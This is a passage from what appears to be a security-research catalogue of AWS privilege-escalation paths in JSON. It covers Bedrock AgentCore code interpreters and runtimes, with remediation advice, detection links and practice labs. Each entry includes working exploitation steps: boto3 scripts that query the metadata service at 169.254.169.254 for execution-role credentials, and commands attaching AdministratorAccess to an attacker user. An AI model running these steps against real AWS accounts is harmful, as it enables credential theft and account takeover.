          "description": "The attacker designed the malicious Python code to use the AWS SDK to directly perform privileged actions. This is the most direct approach - the code interpreter immediately modifies IAM or performs other privileged actions using the target role's permissions.\n"
        },
        {
          "from": "target_role",
          "to": "method_cred_exfil",
          "label": "Option B",
          "branch": "B",
          "description": "The attacker designed the malicious Python code to query the MicroVM Metadata Service and exfiltrate the target role's credentials to the output. The attacker can then use these credentials from any location.\n"
        },
        {
          "from": "method_sdk_attack",
          "to": "admin",
          "label": "If target role has admin permissions",
          "branch": "A1",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or equivalent permissions, the SDK attack directly grants the starting principal full administrative access by attaching admin policies or creating admin access keys.\n"
        },
        {
          "from": "method_sdk_attack",
          "to": "some_perms",
          "label": "If target role has some elevated permissions",
          "branch": "A2",
          "condition": "some_permissions",
          "description": "If the target role has some elevated permissions (data access, further escalation paths), the SDK attack can still grant useful additional permissions by modifying IAM within the role's permission scope or accessing sensitive resources.\n"
        },
        {
          "from": "method_sdk_attack",
          "to": "no_access",
          "label": "If target role has minimal permissions",
          "branch": "A3",
          "condition": "no_permissions",
          "description": "If the target role only has minimal permissions (like logs:PutLogEvents), the SDK attack will fail to perform meaningful privilege escalation. The attacker would need to choose a different exploitation method or target a different code interpreter.\n"
        },
        {
          "from": "method_cred_exfil",
          "to": "admin",
          "label": "If target role has admin permissions",
          "branch": "B1",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or equivalent permissions, the exfiltrated credentials provide the attacker with full administrative access to the AWS account from any location.\n"
        },
        {
          "from": "method_cred_exfil",
          "to": "some_perms",
          "label": "If target role has some elevated permissions",
          "branch": "B2",
          "condition": "some_permissions",
          "description": "If the target role has some elevated permissions (data access, further escalation paths), the exfiltrated credentials can be used for lateral movement or additional attacks.\n"
        },
        {
          "from": "method_cred_exfil",
          "to": "no_access",
          "label": "If target role has minimal permissions",
          "branch": "B3",
          "condition": "no_permissions",
          "description": "If the target role only has minimal permissions (like logs:PutLogEvents), the exfiltrated credentials provide limited value for privilege escalation.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-07-07T10:09:46Z",
      "contributors": [
        {
          "name": "MrCloudSec",
          "email": "sgarcia@beyondtrust.com",
          "githubUsername": "MrCloudSec"
        },
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/bedrock/bedrock-001.yaml"
  },
  {
    "id": "bedrock-002",
    "name": "bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter",
    "category": "existing-passrole",
    "services": [
      "bedrock-agentcore"
    ],
    "description": "A principal with `bedrock-agentcore:StartCodeInterpreterSession` and `bedrock-agentcore:InvokeCodeInterpreter` can access an existing Bedrock AgentCore code interpreter that has a privileged IAM execution role attached. By starting a session and invoking arbitrary Python code within the interpreter, an attacker can access the MicroVM Metadata Service (MMDS) at 169.254.169.254 to retrieve temporary credentials for the interpreter's execution role. This path doesn't require `iam:PassRole` since the role is already attached to the existing interpreter. Similar to `lambda:UpdateFunctionCode`, this targets existing resources rather than creating new ones.",
    "prerequisites": {
      "admin": [
        "A Bedrock AgentCore code interpreter must exist with an IAM execution role attached",
        "The interpreter's role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)",
        "The interpreter must be in a running or ready state"
      ],
      "lateral": [
        "A Bedrock AgentCore code interpreter must exist with an IAM execution role attached",
        "The interpreter must be in a running or ready state"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws bedrock-agentcore-control list-code-interpreters",
          "description": "List existing code interpreters to find targets with privileged roles"
        },
        {
          "step": 2,
          "command": "aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id INTERPRETER_ID",
          "description": "Check the interpreter's execution role ARN to confirm elevated permissions"
        },
        {
          "step": 3,
          "command": "cat << 'EOF' > \"get_secrets_from_interpreter.py\"\nimport boto3\nimport sys\nbedrock_agentcore_client = boto3.client('bedrock-agentcore', region_name=sys.argv[2])\nCODE_INTERPRETER_ID = sys.argv[1]\n\nsession = bedrock_agentcore_client.start_code_interpreter_session(\n  codeInterpreterIdentifier=CODE_INTERPRETER_ID,\n)\nsession_id = session['sessionId']\n\ncode = 'IP=\"169.254.169.254\"; METADATA=\"meta-data\"; curl -s http://$IP/latest/$METADATA/iam/security-credentials/execution_role'\n\nresponse = bedrock_agentcore_client.invoke_code_interpreter(\n  codeInterpreterIdentifier=CODE_INTERPRETER_ID,\n  sessionId=session_id,\n  name='executeCommand',\n  arguments={'command': code}\n)\n\nfor event in response['stream']:\n  if event['result']['structuredContent']['stdout']:\n    print(event['result']['structuredContent']['stdout'])\nEOF\n",
          "description": "Create the python file that will invoke the existing interpreter"
        },
        {
          "step": 4,
          "command": "CREDS=$(python3 get_secrets_from_interpreter.py $INTERPRETER_ID $AWS_REGION)\necho export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r \".AccessKeyId\")\necho export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r \".SecretAccessKey\")\necho export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r \".Token\")\n",
          "description": "Run the python file using the $INTERPRETER_ID to extract credentials"
        },
        {
          "step": 5,
          "command": "export AWS_ACCESS_KEY_ID=<AccessKeyId from step 5>\nexport AWS_SECRET_ACCESS_KEY=<SecretAccessKey from step 5>\nexport AWS_SESSION_TOKEN=<Token from step 5>\naws sts get-caller-identity\n",
          "description": "Use the stolen credentials to assume the privileged role's permissions"
        }
      ]
    },
    "recommendation": "Restrict the `bedrock-agentcore:StartCodeInterpreterSession` and `bedrock-agentcore:InvokeCodeInterpreter` permissions using resource-based constraints.\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": [\n    \"bedrock-agentcore:StartCodeInterpreterSession\",\n    \"bedrock-agentcore:InvokeCodeInterpreter\"\n  ],\n  \"Resource\": \"arn:aws:bedrock-agentcore:REGION:ACCOUNT_ID:code-interpreter/SpecificInterpreter\"\n}\n```\n\nAdditional controls:\n- Monitor CloudTrail for `StartCodeInterpreterSession` and `InvokeCodeInterpreter` events on sensitive code interpreters\n- Alert on session creation for interpreters with administrative roles\n- Implement resource tags and condition keys to restrict code interpreter usage\n- Regularly audit execution roles attached to code interpreters\n- Use SCPs to restrict access to sensitive interpreters\n- Enable CloudTrail Data Event logging for code interpreter invocations\n- Implement network isolation for code interpreters processing sensitive data\n- Review and minimize execution role permissions on existing interpreters\n",
    "limitations": "This path provides administrative access only if the target resource's execution role has administrative permissions. The attacker gains whatever permissions the resource's role has. If the role has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Nigel Sood",
        "organization": "Sonrai Security",
        "date": 2025,
        "link": "https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/"
      },
      "derivativeOf": {
        "pathId": "bedrock-001",
        "modification": "Targets existing code interpreters instead of creating new ones, eliminating the need for iam:PassRole and bedrock-agentcore:CreateCodeInterpreter permissions"
      }
    },
    "references": [
      {
        "title": "AWS AgentCore: The Overlooked Privilege Escalation Path in Bedrock AI Tooling",
        "url": "https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/"
      },
      {
        "title": "Sandboxed to Compromised: New Research Exposes Credential Exfiltration Paths in AWS Code Interpreters",
        "url": "https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/"
      },
      {
        "title": "Understanding Credentials Management in Amazon Bedrock AgentCore",
        "url": "https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html"
      }
    ],
    "relatedPaths": [
      "bedrock-001",
      "lambda-003",
      "glue-002",
      "ec2-002"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/1e1c1c018b6466b416e8cc98a452b11d4b83ae07/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L307",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L163"
    },
    "permissions": {
      "required": [
        {
          "permission": "bedrock-agentcore:StartCodeInterpreterSession",
          "resourceConstraints": "Target code interpreter must be in the Resource section"
        },
        {
          "permission": "bedrock-agentcore:InvokeCodeInterpreter",
          "resourceConstraints": "Target code interpreter must be in the Resource section"
        }
      ],
      "additional": [
        {
          "permission": "bedrock-agentcore:ListCodeInterpreters",
          "resourceConstraints": "List the interpreters that already exist"
        },
        {
          "permission": "bedrock-agentcore:GetCodeInterpreter",
          "resourceConstraints": "Identify the role associated with the session"
        }
      ]
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with bedrock-agentcore:StartCodeInterpreterSession and bedrock-agentcore:InvokeCodeInterpreter permissions. Can be an IAM user or role. This attack targets an existing code interpreter rather than creating a new one, so iam:PassRole is not required.\n"
        },
        {
          "id": "code_interpreter",
          "label": "Existing Code Interpreter",
          "type": "resource",
          "description": "An existing Bedrock AgentCore code interpreter with a privileged execution role already attached. The interpreter runs on a Firecracker MicroVM and has access to the MicroVM Metadata Service (MMDS) at 169.254.169.254, similar to EC2's IMDS.\n"
        },
        {
          "id": "execution_role",
          "label": "Code Interpreter Execution Role",
          "type": "principal",
          "description": "The IAM role attached to the code interpreter as its execution role. When code is executed in the interpreter, it automatically runs with this role's permissions. The role's temporary credentials are available through the MicroVM Metadata Service (MMDS) at 169.254.169.254, similar to how EC2 instances access IMDS. This role must trust bedrock.amazonaws.com in its trust policy.\n"
        },
        {
          "id": "method_sdk_attack",
          "label": "Method 1: Execute Attack via AWS SDK",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious code interpreter code uses the AWS SDK within the Python execution environment to directly perform privileged actions using the execution role's credentials. Since the code interpreter automatically runs with the execution role's credentials available through the environment, no credential exfiltration is needed.\n\nExample Python code invoked in the interpreter:\n```python\nimport boto3\n\n# The interpreter automatically has access to the execution role's credentials\niam = boto3.client('iam')\n\n# Attach admin policy to starting user\niam.attach_user_policy(\n    UserName='attacker-user',\n    PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'\n)\n```\n\nThis is the most direct approach - the code interpreter immediately modifies IAM or performs other privileged actions using the execution role's permissions.\n"
        },
        {
          "id": "method_cred_exfil",
          "label": "Method 2: Exfiltrate Credentials to Output",
          "type": "payload",
          "color": "#99ccff",
          "description": "Start a session with the existing code interpreter and invoke Python code to query the MicroVM Metadata Service (MMDS) and retrieve the execution role's temporary credentials. The credentials are returned in the code interpreter's output and can be used from any location.\n\nExample Python script to exfiltrate credentials:\n```python\nimport boto3\nimport sys\n\nbedrock_agentcore_client = boto3.client('bedrock-agentcore', region_name=sys.argv[2])\nCODE_INTERPRETER_ID = sys.argv[1]\n\n# Start a code interpreter session\nsession = bedrock_agentcore_client.start_code_interpreter_session(\n    codeInterpreterIdentifier=CODE_INTERPRETER_ID,\n)\nsession_id = session['sessionId']\n\n# Command to query MMDS for credentials\ncode = 'IP=\"169.254.169.254\"; METADATA=\"meta-data\"; curl -s http://$IP/latest/$METADATA/iam/security-credentials/execution_role'\n\n# Invoke the code interpreter to execute the command\nresponse = bedrock_agentcore_client.invoke_code_interpreter(\n    codeInterpreterIdentifier=CODE_INTERPRETER_ID,\n    sessionId=session_id,\n    name='executeCommand',\n    arguments={'command': code}\n)\n\n# Extract and print credentials from the output\nfor event in response['stream']:\n    if event['result']['structuredContent']['stdout']:\n        print(event['result']['structuredContent']['stdout'])\n```\n\nThis is similar to exfiltrating credentials from an EC2 instance via IMDS, but targets the MicroVM's metadata service instead. This script retrieves AccessKeyId, SecretAccessKey, and SessionToken from the MMDS and outputs them. The attacker can then export these credentials and use them from any location until they expire.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The attacker successfully exfiltrated credentials from the code interpreter and the execution role has AdministratorAccess or equivalent permissions. The attacker now has full administrative access to the AWS account using the stolen credentials.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The attacker successfully exfiltrated credentials from the code interpreter and the execution role has some elevated permissions (but not full admin). This could provide data access (S3, RDS, DynamoDB) or enable additional privilege escalation paths. The attacker should enumerate the role's permissions to determine what additional access was gained.\n"
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The attacker successfully exfiltrated credentials from the code interpreter, but the execution role only has minimal permissions (e.g., logs:PutLogEvents). Limited usefulness for privilege escalation.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "code_interpreter",
          "label": "Target existing code interpreter",
          "description": "Identify an existing code interpreter that has a privileged execution role attached. Use bedrock-agentcore:ListCodeInterpreters to discover available interpreters and bedrock-agentcore:GetCodeInterpreter to check their execution role ARNs.\n\nCommands:\n```bash\n# List existing code interpreters\naws bedrock-agentcore-control list-code-interpreters\n\n# Check execution role of specific interpreter\naws bedrock-agentcore-control get-code-interpreter \\\n  --code-interpreter-id INTERPRETER_ID\n```\n"
        },
        {
          "from": "code_interpreter",
          "to": "execution_role",
          "label": "bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter",
          "description": "The attacker starts a session with the existing code interpreter and invokes Python code. The code executes within the Firecracker MicroVM with automatic access to the execution role's credentials through the MicroVM Metadata Service (MMDS).\n\nCommands:\n```bash\n# Create and run the credential extraction script\npython3 get_secrets_from_interpreter.py $INTERPRETER_ID $AWS_REGION\n```\n\nThe Python script uses the bedrock-agentcore API to start a session and invoke arbitrary code within the interpreter.\n"
        },
        {
          "from": "execution_role",
          "to": "method_sdk_attack",
          "label": "Option A",
          "branch": "A",
          "description": "The attacker designed the malicious Python code to use the AWS SDK to directly perform privileged actions. This is the most direct approach - the code interpreter immediately modifies IAM or performs other privileged actions using the execution role's permissions.\n"
        },
        {
          "from": "execution_role",
          "to": "method_cred_exfil",
          "label": "Option B",
          "branch": "B",
          "description": "The attacker designed the malicious Python code to query the MicroVM Metadata Service and exfiltrate the execution role's credentials to the output. The attacker can then use these credentials from any location.\n"
        },
        {
          "from": "method_sdk_attack",
          "to": "admin",
          "label": "If execution role has admin permissions",
          "branch": "A1",
          "condition": "admin",
          "description": "If the code interpreter's execution role has AdministratorAccess or equivalent permissions, the SDK attack directly grants the starting principal full administrative access by attaching admin policies or creating admin access keys.\n"
        },
        {
          "from": "method_sdk_attack",
          "to": "some_perms",
          "label": "If execution role has some elevated permissions",
          "branch": "A2",
          "condition": "some_permissions",
          "description": "If the execution role has some elevated permissions (data access, further escalation paths), the SDK attack can still grant useful additional permissions by modifying IAM within the role's permission scope or accessing sensitive resources.\n"
        },
        {
          "from": "method_sdk_attack",
          "to": "no_access",
          "label": "If execution role has minimal permissions",
          "branch": "A3",
          "condition": "no_permissions",
          "description": "If the execution role only has minimal permissions (like logs:PutLogEvents), the SDK attack will fail to perform meaningful privilege escalation. The attacker would need to choose a different exploitation method or target a different code interpreter.\n"
        },
        {
          "from": "method_cred_exfil",
          "to": "admin",
          "label": "If execution role has admin permissions",
          "branch": "B1",
          "condition": "admin",
          "description": "If the code interpreter's execution role has AdministratorAccess or equivalent permissions, the exfiltrated credentials provide the attacker with full administrative access to the AWS account from any location. The attacker can now perform any action in the AWS account.\n"
        },
        {
          "from": "method_cred_exfil",
          "to": "some_perms",
          "label": "If execution role has some elevated permissions",
          "branch": "B2",
          "condition": "some_permissions",
          "description": "If the execution role has some elevated permissions (data access, further escalation paths), the exfiltrated credentials can be used for lateral movement or additional attacks. The attacker should use `aws sts get-caller-identity` and enumerate permissions to determine what additional access was gained.\n"
        },
        {
          "from": "method_cred_exfil",
          "to": "no_access",
          "label": "If execution role has minimal permissions",
          "branch": "B3",
          "condition": "no_permissions",
          "description": "If the execution role only has minimal permissions (like logs:PutLogEvents or basic CloudWatch metrics), the exfiltrated credentials provide limited value for privilege escalation. The attacker may need to target a different code interpreter with a more privileged role.\n"
        }
      ]
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/bedrockagentcore-startsession+invoke",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "cybr": {
        "type": "closed-source",
        "description": "Hosted learning environment with interactive AWS security labs",
        "scenario": "https://cybr.com/hands-on-labs/lab/bedrock-agentcore-privilege-escalation-via-code-interpreters/",
        "scenarioPricingModel": "paid"
      }
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-07-07T10:09:46Z",
      "contributors": [
        {
          "name": "MrCloudSec",
          "email": "sgarcia@beyondtrust.com",
          "githubUsername": "MrCloudSec"
        },
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/bedrock/bedrock-002.yaml"
  },
  {
    "id": "bedrock-003",
    "name": "iam:PassRole + bedrock-agentcore:CreateAgentRuntime + bedrock-agentcore:CreateAgentRuntimeEndpoint + bedrock-agentcore:CreateWorkloadIdentity + bedrock-agentcore:InvokeAgentRuntimeCommand",
    "category": "new-passrole",
    "services": [
      "iam",
      "bedrock-agentcore"
    ],
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Target role ARN must be in the Resource section and the role must trust bedrock-agentcore.amazonaws.com"
        },
        {
          "permission": "bedrock-agentcore:CreateAgentRuntime",
          "resourceConstraints": "Must have permission to create Bedrock AgentCore runtimes"
        },
        {
          "permission": "bedrock-agentcore:CreateAgentRuntimeEndpoint",
          "resourceConstraints": "Must have permission to create the runtime endpoint used to invoke the runtime"
        },
        {
          "permission": "bedrock-agentcore:CreateWorkloadIdentity",
          "resourceConstraints": "Must have permission to create the workload identity the runtime requires at creation"
        },
        {
          "permission": "bedrock-agentcore:InvokeAgentRuntimeCommand",
          "resourceConstraints": "Must have permission to invoke commands on the created runtime"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering AgentCore execution roles available to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and attached permissions"
        },
        {
          "permission": "bedrock-agentcore:GetAgentRuntime",
          "resourceConstraints": "Useful for confirming the new runtime reached a READY state before invoking it"
        }
      ]
    },
    "description": "A principal with `iam:PassRole`, `bedrock-agentcore:CreateAgentRuntime`, `bedrock-agentcore:CreateAgentRuntimeEndpoint`, `bedrock-agentcore:CreateWorkloadIdentity` and `bedrock-agentcore:InvokeAgentRuntimeCommand` can deploy a new AgentCore Runtime with a privileged IAM execution role and then run shell commands as root inside its Firecracker microVM. `InvokeAgentRuntimeCommand` executes a submitted command as root parallel to the customer agent process, bypassing the agent, model and guardrails entirely. The command reads the execution role temporary credentials from the MicroVM Metadata Service (MMDS) at 169.254.169.254, AgentCore's equivalent of EC2's IMDS, granting the attacker the full permissions of the chosen execution role. Creating the runtime rather than targeting an existing one lets the attacker pick exactly which role to escalate to.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts bedrock-agentcore.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "A role must exist that trusts bedrock-agentcore.amazonaws.com to assume it"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "export AWS_REGION=[your region]\nexport EXECUTION_ROLE=arn:aws:iam::[account-id]:role/[role with admin privs that trusts bedrock-agentcore]\nexport CONTAINER_URI=[attacker-controlled ECR image URI]\nwhich jq\n",
          "description": "Set up session variables and confirm jq is installed"
        },
        {
          "step": 2,
          "command": "CREATE_OUTPUT=$(aws bedrock-agentcore-control create-agent-runtime \\\n  --agent-runtime-name atk_runtime \\\n  --role-arn $EXECUTION_ROLE \\\n  --agent-runtime-artifact \"{\\\"containerConfiguration\\\":{\\\"containerUri\\\":\\\"$CONTAINER_URI\\\"}}\" \\\n  --network-configuration '{\"networkMode\":\"PUBLIC\"}')\nRUNTIME_ARN=$(echo $CREATE_OUTPUT | jq -r .agentRuntimeArn)\nRUNTIME_ID=$(echo $CREATE_OUTPUT | jq -r .agentRuntimeId)\n",
          "description": "Create a runtime with the privileged execution role. The call provisions the DEFAULT runtime endpoint and the workload identity, which is why CreateAgentRuntimeEndpoint and CreateWorkloadIdentity are required"
        },
        {
          "step": 3,
          "command": "while true; do\n  STATUS=$(aws bedrock-agentcore-control get-agent-runtime \\\n    --agent-runtime-id $RUNTIME_ID \\\n    --query 'status' --output text)\n  echo \"Status: $STATUS\"\n  [ \"$STATUS\" = \"READY\" ] && break\n  sleep 15\ndone\n",
          "description": "Poll bedrock-agentcore:GetAgentRuntime until the runtime reaches READY. The microVM takes time to provision, and InvokeAgentRuntimeCommand errors out if called before the runtime is READY"
        },
        {
          "step": 4,
          "command": "cat << 'EOF' > \"get_creds_from_runtime.py\"\nimport boto3, sys, uuid\nclient = boto3.client(\"bedrock-agentcore\", region_name=sys.argv[2])\n\ncommand = \"\"\"bash -c '\nTOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H \"X-aws-ec2-metadata-token-ttl-seconds: 60\")\nROLE_NAME=$(curl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/iam/security-credentials/)\ncurl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME\n'\"\"\"\n\nresponse = client.invoke_agent_runtime_command(\n  agentRuntimeArn=sys.argv[1],\n  runtimeSessionId=str(uuid.uuid4()),\n  body={\"command\": command, \"timeout\": 30},\n)\nfor event in response[\"stream\"]:\n  chunk = event[\"chunk\"]\n  if \"contentDelta\" in chunk and \"stdout\" in chunk[\"contentDelta\"]:\n    print(chunk[\"contentDelta\"][\"stdout\"], end=\"\")\nEOF\n",
          "description": "Create the python file that submits a root shell command. The command first requests an MMDS session token, then GETs the security-credentials path with no role name to discover the execution role's alias (the same two-step discovery pattern used against EC2 IMDS when the role name is unknown), then fetches the credentials for that discovered role name. boto3 is used directly because the AWS CLI does not expose an invoke-agent-runtime-command subcommand"
        },
        {
          "step": 5,
          "command": "CREDS=$(python3 get_creds_from_runtime.py $RUNTIME_ARN $AWS_REGION)\necho export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r \".AccessKeyId\")\necho export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r \".SecretAccessKey\")\necho export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r \".Token\")\n",
          "description": "Run the python file using the $RUNTIME_ARN to discover the execution role name and extract its credentials"
        },
        {
          "step": 6,
          "command": "export AWS_ACCESS_KEY_ID=<AccessKeyId from step 5>\nexport AWS_SECRET_ACCESS_KEY=<SecretAccessKey from step 5>\nexport AWS_SESSION_TOKEN=<Token from step 5>\naws sts get-caller-identity\n",
          "description": "Use the stolen credentials to act as the runtime execution role"
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. The `bedrock-agentcore:InvokeAgentRuntimeCommand` permission then runs arbitrary commands as root inside the runtime microVM, bypassing the agent, model and guardrails.\n\n- **Avoid administrative service roles** - Very rarely does an AgentCore Runtime need administrative access. Use the principle of least privilege and start from AWS's documented runtime execution role policy.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n- **Constrain `bedrock-agentcore:InvokeAgentRuntimeCommand`** - Treat it as a command-execution gate equivalent to root on the microVM and deny it org-wide except for an approved allowlist.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificAgentCoreRuntimeRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"bedrock-agentcore.amazonaws.com\"\n    }\n  }\n}\n```\n\nDeny the command-execution permission outside an approved allowlist with an SCP:\n\n```json\n{\n  \"Effect\": \"Deny\",\n  \"Action\": \"bedrock-agentcore:InvokeAgentRuntimeCommand\",\n  \"Resource\": \"*\",\n  \"Condition\": {\n    \"ArnNotLike\": {\n      \"aws:PrincipalArn\": \"arn:aws:iam::*:role/ApprovedAgentCoreOperators\"\n    }\n  }\n}\n```\n\n- Enable CloudTrail data events for the `AWS::BedrockAgentCore::Runtime` and `RuntimeEndpoint` resource types to capture `InvokeAgentRuntimeCommand`\n- The auto-created `/aws/bedrock-agentcore/runtimes/<runtimeId>-DEFAULT` CloudWatch log group records the body of every submitted command; alert on entries that touch 169.254.169.254 or security-credentials\n- Monitor CloudTrail for runtime creation followed by immediate invocation, and for runtimes created by principals who do not usually deploy AgentCore\n- Monitor CloudTrail for roles being passed to bedrock-agentcore that have not been passed before\n- Regularly audit all IAM roles that trust bedrock-agentcore.amazonaws.com and down-scope any with administrative access\n",
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Sergio Garcia",
        "organization": "BeyondTrust Phantom Labs",
        "date": 2026,
        "link": "https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation"
      }
    },
    "references": [
      {
        "title": "Mapping Every Privilege Escalation Path in AWS AgentCore",
        "url": "https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation"
      },
      {
        "title": "Understanding Credentials Management in Amazon Bedrock AgentCore",
        "url": "https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html"
      },
      {
        "title": "AgentCore Runtime execution role permissions",
        "url": "https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/runtime-permissions.html"
      }
    ],
    "relatedPaths": [
      "bedrock-001",
      "bedrock-004",
      "bedrock-005",
      "ec2-001",
      "sagemaker-001"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/1e1c1c018b6466b416e8cc98a452b11d4b83ae07/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L317"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+bedrockagentcore-createagentruntime",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with iam:PassRole and the bedrock-agentcore create and invoke permissions. Can be an IAM user or role. This is the attacker's initial access point."
        },
        {
          "id": "agent_runtime",
          "label": "New AgentCore Runtime",
          "type": "resource",
          "description": "A new AgentCore Runtime created with a privileged execution role. The runtime runs on a Firecracker microVM that exposes the role credentials on the MicroVM Metadata Service (MMDS) at 169.254.169.254, AgentCore's equivalent of EC2's IMDS."
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the bedrock-agentcore Service",
          "type": "principal",
          "description": "The IAM role passed to the runtime as its execution role. The role must trust bedrock-agentcore.amazonaws.com to assume it. AgentCore assumes the role and serves its temporary credentials on MMDS at the execution_role endpoint inside the microVM."
        },
        {
          "id": "method_sdk_attack",
          "label": "Method 1: Act directly from the root shell",
          "type": "payload",
          "color": "#99ccff",
          "description": "The submitted command runs as root inside the microVM where the execution role credentials are already present in the environment, so the attacker can perform privileged actions in place without exfiltrating anything.\n\nExample command body invoked through InvokeAgentRuntimeCommand:\n```bash\naws iam attach-user-policy \\\n  --user-name attacker-user \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n```\n"
        },
        {
          "id": "method_cred_exfil",
          "label": "Method 2: Exfiltrate credentials to the response stream",
          "type": "payload",
          "color": "#99ccff",
          "description": "The submitted command reads the execution role credentials from MMDS and prints them, and AgentCore returns the output in the response stream so the attacker can use the credentials from any location. Since the execution role's alias is not known in advance, the command first requests a session token, then GETs the security-credentials path with no role name to discover the role, then fetches the credentials for that discovered name -- the same two-step discovery pattern used against EC2 IMDS.\n\nExample command body invoked through InvokeAgentRuntimeCommand:\n```bash\nTOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H \"X-aws-ec2-metadata-token-ttl-seconds: 60\")\nROLE_NAME=$(curl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/iam/security-credentials/)\ncurl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME\n```\n\nThis returns AccessKeyId, SecretAccessKey and Token, which the attacker can export and use until they expire. The command must be submitted through boto3's invoke_agent_runtime_command -- the AWS CLI does not expose an equivalent subcommand -- and only succeeds once the runtime has reached READY (confirmed via bedrock-agentcore:GetAgentRuntime).\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The execution role has AdministratorAccess or equivalent permissions, so acting as the role or using its exfiltrated credentials gives the attacker full administrative access to the AWS account."
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
